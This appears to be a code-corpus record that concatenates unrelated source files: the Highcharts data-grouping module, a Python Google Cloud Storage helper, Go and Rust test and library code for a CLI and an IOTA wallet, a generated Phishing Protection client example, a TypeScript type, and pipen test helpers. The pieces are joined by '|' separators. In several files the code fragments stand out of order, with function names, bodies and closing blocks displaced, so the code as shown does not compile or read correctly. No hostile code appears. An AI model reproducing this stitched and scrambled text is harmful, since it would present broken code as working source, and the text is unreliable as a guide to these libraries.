plotOptions[type].dataGrouping, // Set by the StockChart constructor
this.userOptions.dataGrouping);
}
});
// When resetting the scale reset the hasProccessed flag to avoid taking
// previous data grouping of neighbour series into accound when determining
// group pixel width (#2692).
addEvent(Axis, 'afterSetScale', function () {
this.series.forEach(function (series) {
series.hasProcessed = false;
});
});
// Get the data grouping pixel width based on the greatest defined individual
// width of the axis' series, and if whether one of the axes need grouping.
Axis.prototype.getGroupPixelWidth = function () {
var series = this.series, len = series.length, i, groupPixelWidth = 0, doGrouping = false, dataLength, dgOptions;
// If multiple series are compared on the same x axis, give them the same
// group pixel width (#334)
i = len;
while (i--) {
dgOptions = series[i].options.dataGrouping;
if (dgOptions) {
groupPixelWidth = Math.max(groupPixelWidth,
// Fallback to commonOptions (#9693)
pick(dgOptions.groupPixelWidth, commonOptions.groupPixelWidth));
}
}
// If one of the series needs grouping, apply it to all (#1634)
i = len;
while (i--) {
dgOptions = series[i].options.dataGrouping;
if (dgOptions && series[i].hasProcessed) { // #2692
dataLength = (series[i].processedXData || series[i].data).length;
// Execute grouping if the amount of points is greater than the
// limit defined in groupPixelWidth
if (series[i].groupPixelWidth ||
dataLength >
(this.chart.plotSizeX / groupPixelWidth) ||
(dataLength && dgOptions.forced)) {
doGrouping = true;
}
}
}
return doGrouping ? groupPixelWidth : 0;
};
/**
* Highstock only. Force data grouping on all the axis' series.
*
* @product highstock
*
* @function Highcharts.Axis#setDataGrouping
*
* @param {boolean|Highcharts.PlotSeriesDataGroupingOptions} [dataGrouping]
* A `dataGrouping` configuration. Use `false` to disable data grouping
* dynamically.
*
* @param {boolean} [redraw=true]
* Whether to redraw the chart or wait for a later call to
* {@link Chart#redraw}.
*
* @return {void}
*/
Axis.prototype.setDataGrouping = function (dataGrouping, redraw) {
var i;
redraw = pick(redraw, true);
if (!dataGrouping) {
dataGrouping = {
forced: false,
units: null
};
}
// Axis is instantiated, update all series
if (this instanceof Axis) {
i = this.series.length;
while (i--) {
this.series[i].update({
dataGrouping: dataGrouping
}, false);
}
// Axis not yet instanciated, alter series options
}
else {
this.chart.options.series.forEach(function (seriesOptions) {
seriesOptions.dataGrouping = dataGrouping;
}, false);
}
// Clear ordinal slope, so we won't accidentaly use the old one (#7827)
this.ordinalSlope = null;
if (redraw) {
this.chart.redraw();
}
};
H.dataGrouping = dataGrouping;
/* eslint-enable no-invalid-this, valid-jsdoc */
/**
* Data grouping is the concept of sampling the data values into larger
* blocks in order to ease readability and increase performance of the
* JavaScript charts. Highstock by default applies data grouping when
* the points become closer than a certain pixel value, determined by
* the `groupPixelWidth` option.
*
* If data grouping is applied, the grouping information of grouped
* points can be read from the [Point.dataGroup](
* /class-reference/Highcharts.Point#dataGroup). If point options other than
* the data itself are set, for example `name` or `color` or custom properties,
* the grouping logic doesn't know how to group it. In this case the options of
* the first point instance are copied over to the group point. This can be
* altered through a custom `approximation` callback function.
*
* @product highstock
* @apioption plotOptions.series.dataGrouping
*/
/**
* The method of approximation inside a group. When for example 30 days
* are grouped into one month, this determines what value should represent
* the group. Possible values are "average", "averages", "open", "high",
* "low", "close" and "sum". For OHLC and candlestick series the approximation
* is "ohlc" by default, which finds the open, high, low and close values
* within all the grouped data. For ranges, the approximation is "range",
* which finds the low and high values. For multi-dimensional data,
* like ranges and OHLC, "averages" will compute the average for each
* dimension.
*
* Custom aggregate methods can be added by assigning a callback function
* as the approximation. This function takes a numeric array as the
* argument and should return a single numeric value or `null`. Note
* that the numeric array will never contain null values, only true
* numbers. Instead, if null values are present in the raw data, the
* numeric array will have an `.hasNulls` property set to `true`. For
* single-value data sets the data is available in the first argument
* of the callback function. For OHLC data sets, all the open values
* are in the first argument, all high values in the second etc.
*
* Since v4.2.7, grouping meta data is available in the approximation
* callback from `this.dataGroupInfo`. It can be used to extract information
* from the raw data.
*
* Defaults to `average` for line-type series, `sum` for columns, `range`
* for range series and `ohlc` for OHLC and candlestick.
*
* @sample {highstock} stock/plotoptions/series-datagrouping-approximation
* Approximation callback with custom data
*
* @type {Highcharts.DataGroupingApproximationValue|Function}
* @product highstock
* @apioption plotOptions.series.dataGrouping.approximation
*/
/**
* Datetime formats for the header of the tooltip in a stock chart.
* The format can vary within a chart depending on the currently selected
* time range and the current data grouping.
*
* The default formats are:
*
* <pre>{
* millisecond: [
* '%A, %b %e, %H:%M:%S.%L', '%A, %b %e, %H:%M:%S.%L', '-%H:%M:%S.%L'
* ],
* second: ['%A, %b %e, %H:%M:%S', '%A, %b %e, %H:%M:%S', '-%H:%M:%S'],
* minute: ['%A, %b %e, %H:%M', '%A, %b %e, %H:%M', '-%H:%M'],
* hour: ['%A, %b %e, %H:%M', '%A, %b %e, %H:%M', '-%H:%M'],
* day: ['%A, %b %e, %Y', '%A, %b %e', '-%A, %b %e, %Y'],
* week: ['Week from %A, %b %e, %Y', '%A, %b %e', '-%A, %b %e, %Y'],
* month: ['%B %Y', '%B', '-%B %Y'],
* year: ['%Y', '%Y', '-%Y']
* }</pre>
*
* For each of these array definitions, the first item is the format
* used when the active time span is one unit. For instance, if the
* current data applies to one week, the first item of the week array
* is used. The second and third items are used when the active time
* span is more than two units. For instance, if the current data applies
* to two weeks, the second and third item of the week array are used,
* and applied to the start and end date of the time span.
*
* @type {object}
* @product highstock
* @apioption plotOptions.series.dataGrouping.dateTimeLabelFormats
*/
/**
* Enable or disable data grouping.
*
* @type {boolean}
* @default true
* @product highstock
* @apioption plotOptions.series.dataGrouping.enabled
*/
/**
* When data grouping is forced, it runs no matter how small the intervals
* are. This can be handy for example when the sum should be calculated
* for values appearing at random times within each hour.
*
* @type {boolean}
* @default false
* @product highstock
* @apioption plotOptions.series.dataGrouping.forced
*/
/**
* The approximate pixel width of each group. If for example a series
* with 30 points is displayed over a 600 pixel wide plot area, no grouping
* is performed. If however the series contains so many points that
* the spacing is less than the groupPixelWidth, Highcharts will try
* to group it into appropriate groups so that each is more or less
* two pixels wide. If multiple series with different group pixel widths
* are drawn on the same x axis, all series will take the greatest width.
* For example, line series have 2px default group width, while column
* series have 10px. If combined, both the line and the column will
* have 10px by default.
*
* @type {number}
* @default 2
* @product highstock
* @apioption plotOptions.series.dataGrouping.groupPixelWidth
*/
/**
* By default only points within the visible range are grouped. Enabling this
* option will force data grouping to calculate all grouped points for a given
* dataset. That option prevents for example a column series from calculating
* a grouped point partially. The effect is similar to
* [Series.getExtremesFromAll](#plotOptions.series.getExtremesFromAll) but does
* not affect yAxis extremes.
*
* @sample {highstock} stock/plotoptions/series-datagrouping-groupall/
* Two series with the same data but different groupAll setting
*
* @type {boolean}
* @default false
* @since 6.1.0
* @product highstock
* @apioption plotOptions.series.dataGrouping.groupAll
*/
/**
* Normally, a group is indexed by the start of that group, so for example
* when 30 daily values are grouped into one month, that month's x value
* will be the 1st of the month. This apparently shifts the data to
* the left. When the smoothed option is true, this is compensated for.
* The data is shifted to the middle of the group, and min and max
* values are preserved. Internally, this is used in the Navigator series.
*
* @type {boolean}
* @default false
* @product highstock
* @apioption plotOptions.series.dataGrouping.smoothed
*/
/**
* An array determining what time intervals the data is allowed to be
* grouped to. Each array item is an array where the first value is
* the time unit and the second value another array of allowed multiples.
* Defaults to:
*
* <pre>units: [[
* 'millisecond', // unit name
* [1, 2, 5, 10, 20, 25, 50, 100, 200, 500] // allowed multiples
* ], [
* 'second',
* [1, 2, 5, 10, 15, 30]
* ], [
* 'minute',
* [1, 2, 5, 10, 15, 30]
* ], [
* 'hour',
* [1, 2, 3, 4, 6, 8, 12]
* ], [
* 'day',
* [1]
* ], [
* 'week',
* [1]
* ], [
* 'month',
* [1, 3, 6]
* ], [
* 'year',
* null
* ]]</pre>
*
* @type {Array<Array<string,(Array<number>|null)>>}
* @product highstock
* @apioption plotOptions.series.dataGrouping.units
*/
/**
* The approximate pixel width of each group. If for example a series
* with 30 points is displayed over a 600 pixel wide plot area, no grouping
* is performed. If however the series contains so many points that
* the spacing is less than the groupPixelWidth, Highcharts will try
* to group it into appropriate groups so that each is more or less
* two pixels wide. Defaults to `10`.
*
* @sample {highstock} stock/plotoptions/series-datagrouping-grouppixelwidth/
* Two series with the same data density but different groupPixelWidth
*
* @type {number}
* @default 10
* @product highstock
* @apioption plotOptions.column.dataGrouping.groupPixelWidth
*/
''; // required by JSDoc parsing
return dataGrouping;
});
_registerModule(_modules, 'masters/modules/datagrouping.src.js', [_modules['parts/DataGrouping.js']], function (dataGrouping) {
return dataGrouping;
});
})); | return factory;
});
} else { |
google_cloud_storage.py | """File for Google Cloud Storage."""
import logging
import os
import urllib.parse
from pathlib import Path
import aiohttp
from aiofile import AIOFile
from gcloud.aio.storage import Storage
from google.cloud import storage
from one_barangay.local_settings import logger
async def async_upload_to_bucket(
filepath: str,
file_obj,
gcs_path: str,
):
"""Upload files to bucket.
Args:
filepath: str: The path to the file to be uploaded.
file_obj: The file object from reading a file
gcs_path: str: The target bucket name and sub-folder in
GCS to upload to. (e.g. documents/photo)
Returns:
The path to the uploaded file.
"""
async with aiohttp.ClientSession() as session:
gcs_storage = Storage(session=session) # skipcq
gcs_filename = filepath.split("/")[-1]
await gcs_storage.upload(gcs_path, gcs_filename, file_obj)
return f"https://storage.googleapis.com/{gcs_path}/{urllib.parse.quote(gcs_filename)}"
async def upload_to_gcs_runner(
filepath: str,
gcs_path: str,
):
"""Call the 'async_upload_to_bucket'.
Args:
filepath: str: The path to the file to be uploaded.
gcs_path: str: The target bucket name and sub-folder in GCS.
Returns:
The path to the uploaded file.
"""
# target_bucket_name = target_bucket_name
# bucket_folder = bucket_folder
try:
async with AIOFile(filepath, mode="rb") as afp:
f = await afp.read()
path = await async_upload_to_bucket(filepath, f, gcs_path)
return path
except FileNotFoundError as e:
logger.exception("File not found. Make sure the file exists. %s", e)
except OSError as e:
logger.exception("File not uploaded. %s", e)
def download_from_gcs(
filename: str,
target_bucket_name: str,
bucket_folder: str,
):
|
# if __name__ == "__main__":
# Sample Calls to Uploading to GCS
# asyncio.run(
# upload_to_gcs_runner(
# "<your_absolute_filepath>"
# )
# )
# Sample Calls to Downloading from GCS
# download_from_gcs(
# "kath.png",
# str(os.getenv("GS_MEDIA_BUCKET_NAME")),
# str(os.getenv("FILE_BUCKET_FOLDER")),
# )
| """Download file from Google Cloud Storage bucket.
Args:
filename: str: The name of file being downloaded.
target_bucket_name: str: The bucket name from which to download to.
bucket_folder: str: The folder from the bucket name from which to download to.
Returns:
None.
"""
try:
storage_client = storage.Client(os.getenv("GOOGLE_PROJECT_ID"))
bucket_name = storage_client.get_bucket(target_bucket_name)
bucket = storage_client.get_bucket(bucket_name)
path = os.path.join(bucket_folder, filename)
base_dir = Path(__file__).resolve().parent.parent # TODO: Change to user location
destination = os.path.join(base_dir, filename)
blob = bucket.blob(path)
blob.download_to_filename(destination)
logging.info("%s downloaded to %s.", filename, destination)
except FileNotFoundError as e:
logger.exception("File not found. Make sure the file exists. %s", e)
except OSError as e:
logger.exception("%s not downloaded. %s", filename, e) |
cloudprofile_suite_test.go | // Copyright (c) 2021 SAP SE or an SAP affiliate company. All rights reserved. This file is licensed under the Apache Software License, v. 2 except as noted otherwise in the LICENSE file
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package cloudprofile
import (
"testing"
. "github.com/onsi/ginkgo/v2"
. "github.com/onsi/gomega"
)
func TestCloudProfile(t *testing.T) | {
RegisterFailHandler(Fail)
RunSpecs(t, "ControllerManager CloudProfile Controller Suite")
} |
|
lib.rs | mod actors;
use actors::{dispatch, DispatchMessage, WalletActor, WalletActorMsg};
use iota::common::logger::logger_init;
pub use iota::common::logger::LoggerConfigBuilder;
use iota_wallet::{
account_manager::{AccountManager, DEFAULT_STORAGE_FOLDER},
client::drop_all as drop_clients,
event::{
on_balance_change, on_broadcast, on_confirmation_state_change, on_error,
on_migration_progress, on_new_transaction, on_reattachment, on_stronghold_status_change,
on_transfer_progress, remove_balance_change_listener, remove_broadcast_listener,
remove_confirmation_state_change_listener, remove_error_listener,
remove_migration_progress_listener, remove_new_transaction_listener,
remove_reattachment_listener, remove_stronghold_status_change_listener,
remove_transfer_progress_listener, EventId,
},
};
use once_cell::sync::Lazy;
use riker::actors::*;
use serde::{Deserialize, Serialize};
use tokio::sync::Mutex as AsyncMutex;
use std::collections::HashMap;
use std::convert::TryFrom;
use std::path::{Path, PathBuf};
use std::sync::{Arc, Mutex};
use std::time::Duration;
const POLLING_INTERVAL_MS: u64 = 30_000;
struct WalletActorData {
listeners: Vec<(EventId, EventType)>,
actor: ActorRef<WalletActorMsg>,
}
type WalletActors = Arc<AsyncMutex<HashMap<String, WalletActorData>>>;
type MessageReceiver = Box<dyn Fn(String) + Send + Sync + 'static>;
type MessageReceivers = Arc<Mutex<HashMap<String, MessageReceiver>>>;
fn wallet_actors() -> &'static WalletActors {
static ACTORS: Lazy<WalletActors> = Lazy::new(Default::default);
&ACTORS
}
fn message_receivers() -> &'static MessageReceivers {
static RECEIVERS: Lazy<MessageReceivers> = Lazy::new(Default::default);
&RECEIVERS
}
#[derive(Serialize, Deserialize, Copy, Clone)]
#[repr(C)]
pub enum EventType {
ErrorThrown,
BalanceChange,
NewTransaction,
ConfirmationStateChange,
Reattachment,
Broadcast,
StrongholdStatusChange,
TransferProgress,
MigrationProgress,
}
impl TryFrom<&str> for EventType {
type Error = String;
fn try_from(value: &str) -> Result<Self, Self::Error> {
let event_type = match value {
"ErrorThrown" => EventType::ErrorThrown,
"BalanceChange" => EventType::BalanceChange,
"NewTransaction" => EventType::NewTransaction,
"ConfirmationStateChange" => EventType::ConfirmationStateChange,
"Reattachment" => EventType::Reattachment,
"Broadcast" => EventType::Broadcast,
"StrongholdStatusChange" => EventType::StrongholdStatusChange,
"TransferProgress" => EventType::TransferProgress,
"MigrationProgress" => EventType::MigrationProgress,
_ => return Err(format!("invalid event name {}", value)),
};
Ok(event_type)
}
}
pub async fn init<A: Into<String>, F: Fn(String) + Send + Sync + 'static>(
actor_id: A,
message_receiver: F,
storage_path: Option<impl AsRef<Path>>,
) {
let actor_id = actor_id.into();
let mut actors = wallet_actors().lock().await;
let manager = AccountManager::builder()
.with_storage(
match storage_path {
Some(path) => path.as_ref().to_path_buf(),
None => PathBuf::from(DEFAULT_STORAGE_FOLDER),
},
None,
)
.unwrap() //safe to unwrap, the storage password is None ^
.with_polling_interval(Duration::from_millis(POLLING_INTERVAL_MS))
.with_sync_spent_outputs()
.finish()
.await
.expect("failed to init account manager");
iota_wallet::with_actor_system(|sys| {
let wallet_actor = sys
.actor_of_args::<WalletActor, _>(&actor_id, manager)
.unwrap();
actors.insert(
actor_id.to_string(),
WalletActorData {
listeners: Vec::new(),
actor: wallet_actor,
},
);
let mut message_receivers = message_receivers()
.lock()
.expect("Failed to lock message_receivers: init()");
message_receivers.insert(actor_id, Box::new(message_receiver));
})
.await;
}
pub async fn remove_event_listeners<A: Into<String>>(actor_id: A) {
let mut actors = wallet_actors().lock().await;
if let Some(actor_data) = actors.get_mut(&actor_id.into()) {
remove_event_listeners_internal(&actor_data.listeners).await;
actor_data.listeners = Vec::new();
}
}
async fn remove_event_listeners_internal(listeners: &[(EventId, EventType)]) {
for (event_id, event_type) in listeners.iter() {
match event_type {
&EventType::ErrorThrown => remove_error_listener(event_id),
&EventType::BalanceChange => remove_balance_change_listener(event_id).await,
&EventType::NewTransaction => remove_new_transaction_listener(event_id).await,
&EventType::ConfirmationStateChange => {
remove_confirmation_state_change_listener(event_id).await
}
&EventType::Reattachment => remove_reattachment_listener(event_id).await,
&EventType::Broadcast => remove_broadcast_listener(event_id).await,
&EventType::StrongholdStatusChange => {
remove_stronghold_status_change_listener(event_id).await
}
&EventType::TransferProgress => remove_transfer_progress_listener(event_id).await,
&EventType::MigrationProgress => remove_migration_progress_listener(event_id).await,
};
}
}
pub async fn destroy<A: Into<String>>(actor_id: A) {
let mut actors = wallet_actors().lock().await;
let actor_id = actor_id.into();
if let Some(actor_data) = actors.remove(&actor_id) {
remove_event_listeners_internal(&actor_data.listeners).await;
actor_data.actor.tell(actors::KillMessage, None);
iota_wallet::with_actor_system(|sys| {
sys.stop(&actor_data.actor);
})
.await;
// delay to wait for the actor to be killed
tokio::time::sleep(Duration::from_millis(500)).await;
drop_clients().await;
let mut message_receivers = message_receivers()
.lock()
.expect("Failed to lock message_receivers: respond()");
message_receivers.remove(&actor_id);
}
}
pub fn init_logger(config: LoggerConfigBuilder) {
logger_init(config.finish()).expect("failed to init logger");
}
#[derive(Deserialize)]
pub(crate) struct MessageFallback {
#[serde(rename = "actorId")]
pub(crate) actor_id: String,
pub(crate) id: Option<String>,
}
pub async fn send_message(serialized_message: String) {
let data = match serde_json::from_str::<DispatchMessage>(&serialized_message) {
Ok(message) => {
let actors = wallet_actors().lock().await;
let actor_id = message.actor_id.to_string();
if let Some(actor) = actors.get(&actor_id) {
match dispatch(&actor.actor, message).await {
Ok(response) => Some((response, actor_id)),
Err(e) => Some((Some(e), actor_id)),
}
} else {
Some((
Some(format!(
r#"{{ "type": "ActorNotInitialised", "payload": "{}" }}"#,
message.actor_id
)),
message.actor_id,
))
}
}
Err(error) => {
if let Ok(message) = serde_json::from_str::<MessageFallback>(&serialized_message) {
Some((
Some(format!(
r#"{{
"type": "Error",
"id": {},
"payload": {{
"type": "InvalidMessage",
"message": {},
"error": {}
}}
}}"#,
match message.id {
Some(id) => serde_json::Value::String(id),
None => serde_json::Value::Null,
},
serialized_message,
serde_json::Value::String(error.to_string()),
)),
message.actor_id,
))
} else {
log::error!("[FIREFLY] backend sendMessage error: {:?}", error);
None
}
}
};
if let Some((message, actor_id)) = data {
if let Some(message) = message {
respond(&actor_id, message).expect("actor dropped");
} else {
log::error!(
"[FIREFLY] unexpected empty response for message `{}`, the channel was dropped",
serialized_message
);
}
}
}
#[derive(Serialize)]
struct EventResponse<T: Serialize> {
id: String,
#[serde(rename = "type")]
_type: EventType,
payload: T,
}
impl<T: Serialize> EventResponse<T> {
fn new<S: Into<String>>(id: S, event: EventType, payload: T) -> Self {
Self {
id: id.into(),
_type: event,
payload,
}
}
}
fn serialize_event<T: Serialize, S: Into<String>>(id: S, event: EventType, payload: T) -> String {
serde_json::to_string(&EventResponse::new(id, event, payload)).unwrap()
}
fn respond<A: AsRef<str>>(actor_id: A, message: String) -> Result<(), String> {
let message_receivers = message_receivers()
.lock()
.expect("Failed to lock message_receivers: respond()");
if let Some(callback) = message_receivers.get(actor_id.as_ref()) {
callback(message);
Ok(())
} else {
Err("message receiver dropped".to_string())
}
}
pub async fn listen<A: Into<String>, S: Into<String>>(actor_id: A, id: S, event_type: EventType) {
let id = id.into();
let actor_id = actor_id.into();
let actor_id_ = actor_id.clone();
let event_type_ = event_type.clone();
let event_id = match event_type {
EventType::ErrorThrown => on_error(move |error| {
let _ = respond(&actor_id, serialize_event(id.clone(), event_type, &error));
}),
EventType::BalanceChange => {
on_balance_change(move |event| {
let _ = respond(&actor_id, serialize_event(id.clone(), event_type, &event));
})
.await
}
EventType::NewTransaction => {
on_new_transaction(move |event| {
let _ = respond(&actor_id, serialize_event(id.clone(), event_type, &event));
})
.await
}
EventType::ConfirmationStateChange => {
on_confirmation_state_change(move |event| {
let _ = respond(&actor_id, serialize_event(id.clone(), event_type, &event));
})
.await
}
EventType::Reattachment => {
on_reattachment(move |event| {
let _ = respond(&actor_id, serialize_event(id.clone(), event_type, &event));
})
.await
}
EventType::Broadcast => {
on_broadcast(move |event| {
let _ = respond(&actor_id, serialize_event(id.clone(), event_type, &event));
})
.await
}
EventType::StrongholdStatusChange => {
on_stronghold_status_change(move |event| {
let _ = respond(&actor_id, serialize_event(id.clone(), event_type, &event));
})
.await
}
EventType::TransferProgress => {
on_transfer_progress(move |event| {
let _ = respond(&actor_id, serialize_event(id.clone(), event_type, &event));
})
.await
}
EventType::MigrationProgress => {
on_migration_progress(move |event| {
let _ = respond(&actor_id, serialize_event(id.clone(), event_type, &event));
})
.await
}
};
let mut actors = wallet_actors().lock().await;
let actor = actors.get_mut(&actor_id_).expect("actor not initialised");
actor.listeners.push((event_id, event_type_));
}
#[cfg(test)] | use std::time::Duration;
use tokio::runtime::Runtime;
#[test]
fn basic() {
let runtime = Runtime::new().unwrap();
run_actor(&runtime, "my-actor");
run_actor(&runtime, "my-actor2");
run_actor(&runtime, "my-actor");
run_actor(&runtime, "my-actor2");
}
fn run_actor(runtime: &Runtime, actor_id: &str) {
runtime.block_on(async {
let (tx, rx) = channel();
let tx = Mutex::new(tx);
super::init(
actor_id,
move |message| {
let tx = tx.lock().unwrap();
tx.send(message).unwrap();
},
Option::<PathBuf>::None,
)
.await;
// send a malformed message
super::send_message(format!(
r#"{{
"actorId": "{}",
"id": "{}",
"cmd": "SetStrongholdPassword"
}}"#,
actor_id, "message-id"
))
.await;
if let Ok(message) = rx.recv_timeout(Duration::from_secs(1)) {
let value: serde_json::Value = serde_json::from_str(&message).unwrap();
let json = value.as_object().unwrap();
assert_eq!(
json.get("type"),
Some(&serde_json::Value::String("Error".to_string()))
);
let payload = json.get("payload").unwrap().as_object().unwrap();
assert_eq!(
payload.get("type"),
Some(&serde_json::Value::String("InvalidMessage".to_string()))
);
} else {
panic!("actor didn't reply after invalid message");
}
super::send_message(format!(
r#"{{
"actorId": "{}",
"id": "{}",
"cmd": "SetStrongholdPassword",
"payload": "password"
}}"#,
actor_id, "message-id"
))
.await;
if let Ok(message) = rx.recv_timeout(Duration::from_secs(5)) {
assert_eq!(
message,
serde_json::to_string(&Response::new(
"message-id",
MessageType::SetStrongholdPassword("password".to_string()),
ResponseType::StrongholdPasswordSet
))
.unwrap()
);
super::destroy(actor_id).await;
let res = convert_async_panics(|| {
super::send_message(format!(
r#"{{
"actorId": "{}",
"id": "{}",
"cmd": "SetStrongholdPassword",
"payload": "password"
}}"#,
actor_id, "message-id"
))
})
.await;
assert_eq!(res.is_err(), true);
assert_eq!(res.unwrap_err().contains("actor dropped"), true);
} else {
panic!("response failed")
}
});
}
use futures::{Future, FutureExt};
use std::any::Any;
use std::panic::AssertUnwindSafe;
fn panic_message(panic: Box<dyn Any>) -> String {
if let Some(message) = panic.downcast_ref::<String>() {
message.to_string()
} else if let Some(message) = panic.downcast_ref::<&str>() {
message.to_string()
} else {
"Unknown error".to_string()
}
}
async fn convert_async_panics<F>(f: impl FnOnce() -> F) -> Result<(), String>
where
F: Future<Output = ()>,
{
match AssertUnwindSafe(f()).catch_unwind().await {
Ok(_) => Ok(()),
Err(panic) => Err(panic_message(panic)),
}
}
} | mod tests {
use iota_wallet::actor::{MessageType, Response, ResponseType};
use std::path::PathBuf;
use std::sync::{mpsc::channel, Mutex}; |
phishing_protection_service_v1_beta1_client_example_test.go | // Copyright 2020 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Code generated by protoc-gen-go_gapic. DO NOT EDIT.
package phishingprotection_test
import (
"context"
phishingprotection "cloud.google.com/go/phishingprotection/apiv1beta1"
phishingprotectionpb "google.golang.org/genproto/googleapis/cloud/phishingprotection/v1beta1"
)
func ExampleNewPhishingProtectionServiceV1Beta1Client() {
ctx := context.Background()
c, err := phishingprotection.NewPhishingProtectionServiceV1Beta1Client(ctx)
if err != nil {
// TODO: Handle error.
}
// TODO: Use client.
_ = c
}
func ExamplePhishingProtectionServiceV1Beta1Client_ReportPhishing() {
// import phishingprotectionpb "google.golang.org/genproto/googleapis/cloud/phishingprotection/v1beta1"
ctx := context.Background()
c, err := phishingprotection.NewPhishingProtectionServiceV1Beta1Client(ctx)
if err != nil |
req := &phishingprotectionpb.ReportPhishingRequest{
// TODO: Fill request struct fields.
}
resp, err := c.ReportPhishing(ctx, req)
if err != nil {
// TODO: Handle error.
}
// TODO: Use resp.
_ = resp
}
| {
// TODO: Handle error.
} |
ListJobsExceptionsUnion.ts | import { InvalidInputException } from "./InvalidInputException";
import { EntityNotFoundException } from "./EntityNotFoundException";
import { InternalServiceException } from "./InternalServiceException";
import { OperationTimeoutException } from "./OperationTimeoutException";
export type ListJobsExceptionsUnion =
| InvalidInputException | | EntityNotFoundException
| InternalServiceException
| OperationTimeoutException; |
|
cmd_get_project_test.go | package cloudx
import (
"bytes"
"fmt"
"testing"
"github.com/ghodss/yaml"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"github.com/tidwall/gjson"
)
func | (t *testing.T) {
configDir := newConfigDir(t)
cmd := configAwareCmd(configDir)
email, password := registerAccount(t, configDir)
project := createProject(t, configDir)
t.Run(fmt.Sprintf("is able to get project"), func(t *testing.T) {
stdout, _, err := cmd.Exec(nil, "get", "project", project, "--format", "json")
require.NoError(t, err)
assert.Contains(t, project, gjson.Parse(stdout).Get("id").String())
assert.NotEmpty(t, project, gjson.Parse(stdout).Get("slug").String())
})
t.Run(fmt.Sprintf("is able to get project"), func(t *testing.T) {
stdout, _, err := cmd.Exec(nil, "get", "project", project, "--format", "yaml")
require.NoError(t, err)
actual, err := yaml.YAMLToJSON([]byte(stdout))
require.NoError(t, err)
assert.Contains(t, project, gjson.ParseBytes(actual).Get("id").String())
})
t.Run("is not able to list projects if not authenticated and quiet flag", func(t *testing.T) {
configDir := newConfigDir(t)
cmd := configAwareCmd(configDir)
_, _, err := cmd.Exec(nil, "get", "project", project, "--quiet")
require.ErrorIs(t, err, ErrNoConfigQuiet)
})
t.Run("is able to get project after authenticating", func(t *testing.T) {
configDir := newConfigDir(t)
cmd := configPasswordAwareCmd(configDir, password)
// Create the account
var r bytes.Buffer
r.WriteString("y\n") // Do you already have an Ory Console account you wish to use? [y/n]: y
r.WriteString(email + "\n") // Email fakeEmail()
stdout, _, err := cmd.Exec(&r, "get", "project", project, "--format", "json")
require.NoError(t, err)
assert.Contains(t, project, gjson.Parse(stdout).Get("id").String())
})
}
| TestGetProject |
helpers.py | import sys
import signal
from tempfile import gettempdir
from pathlib import Path
from shutil import rmtree
from multiprocessing import Process
import pytest
from pipen import Proc, Pipen, plugin
class SimpleProc(Proc):
"""A very simple process for testing"""
input = ["input"]
class NormalProc(Proc):
"""A normal proc"""
input = "input:var"
output = ["output:{{in.input}}"]
script = "echo {{in.input}}"
class In2Out1Proc(Proc):
"""Process with 2 input vars and 1 output var"""
input = "in1:var, in2:var"
output = "out:var:{{in.in1}}_{{in.in2}}"
script = "echo {{in.in1}} {{in.in2}}"
class RelPathScriptProc(Proc):
"""Process uses relative path script"""
input = "in"
output = "out:var:{{in.in}}"
# use this file itself
script = "file://__init__.py"
class ScriptNotExistsProc(Proc):
"""Process uses relative path script"""
input = "in"
output = "out:var:{{in.in}}"
# use this file itself
script = "file:///no/such/file"
class ErrorProc(Proc):
"""Errant process"""
input = ["input"]
script = "exit 1"
class ScriptRenderErrorProc(Proc):
"""When script is failed to render"""
input = "a"
output = "b:var:1"
script = "{{c(d)}}"
class SleepingProc(Proc):
"""Process to sleep for a certain time"""
input = "time"
script = "sleep {{in.time}}"
class RetryProc(ErrorProc):
input = "starttime"
error_strategy = "retry"
num_retries = 10
lang = sys.executable # python
script = "import sys, time; sys.exit(1 if time.time() < {{in.starttime}} + 3 else 0)"
class OutputRenderErrorProc(Proc):
"""When output is failed to render"""
input = "a"
output = "b:var:{{c(d)}}"
class OutputNoNameErrorProc(Proc):
"""When no name/type given in output"""
input = "a"
output = "b"
class OutputWrongTypeProc(Proc):
"""When no name/type given in output"""
input = "a"
output = "b:c:d"
class OutputAbsPathProc(Proc):
"""When no name/type given in output"""
input = "a"
output = "b:file:/a/b"
class NoInputProc(Proc):
"""Process without input"""
class InputTypeUnsupportedProc(Proc):
"""Input type not supported"""
input = "input:unsupported:1"
class FileInputProc(Proc):
"""Process with file input"""
input = "in:file"
output = "out:file:{{in.in.split('/')[-1]}}"
script = "cat {{in.in}} > {{out.out}}"
class OutputNotGeneratedProc(Proc):
"""Process with output file not generated intentionally"""
input = "in"
output = "out:file:{{in.in}}"
script = "echo {{in.in}}"
class FileInputsProc(Proc):
"""Process with files input"""
input = "in:files"
output = "out:file:{{in.in[0].split('/')[-1]}}"
script = "echo {{in.in}} > {{out.out}}"
class MixedInputProc(Proc):
|
class DirOutputProc(Proc):
"""Process with directory output"""
input = "in"
output = "outfile:dir:outdir"
script = "echo {{in.in}} > {{out.outfile}}/outfile; "
class SimplePlugin:
@plugin.impl
async def on_init(pipen):
print("SimplePlugin")
@pytest.fixture
def pipen(tmp_path):
"""Get a simple Pipen object each time"""
index = Pipen.PIPELINE_COUNT + 1
pipen_simple = Pipen(
name=f"simple_pipeline_{index}",
desc="No description",
loglevel="debug",
cache=True,
workdir=tmp_path / ".pipen",
outdir=tmp_path / f"pipen_simple_{index}",
)
return pipen_simple
@pytest.fixture
def pipen_with_plugin(tmp_path):
"""Get a simple Pipen object each time"""
index = Pipen.PIPELINE_COUNT + 1
pipen_simple = Pipen(
name=f"simple_pipeline_{index}",
desc="No description",
loglevel="debug",
cache=True,
plugins=[SimplePlugin()],
workdir=tmp_path / ".pipen",
outdir=tmp_path / f"pipen_simple_{index}",
)
return pipen_simple
@pytest.fixture
def infile(tmp_path):
out = tmp_path / "infile"
out.write_text("in")
return out
@pytest.fixture
def infile1(tmp_path):
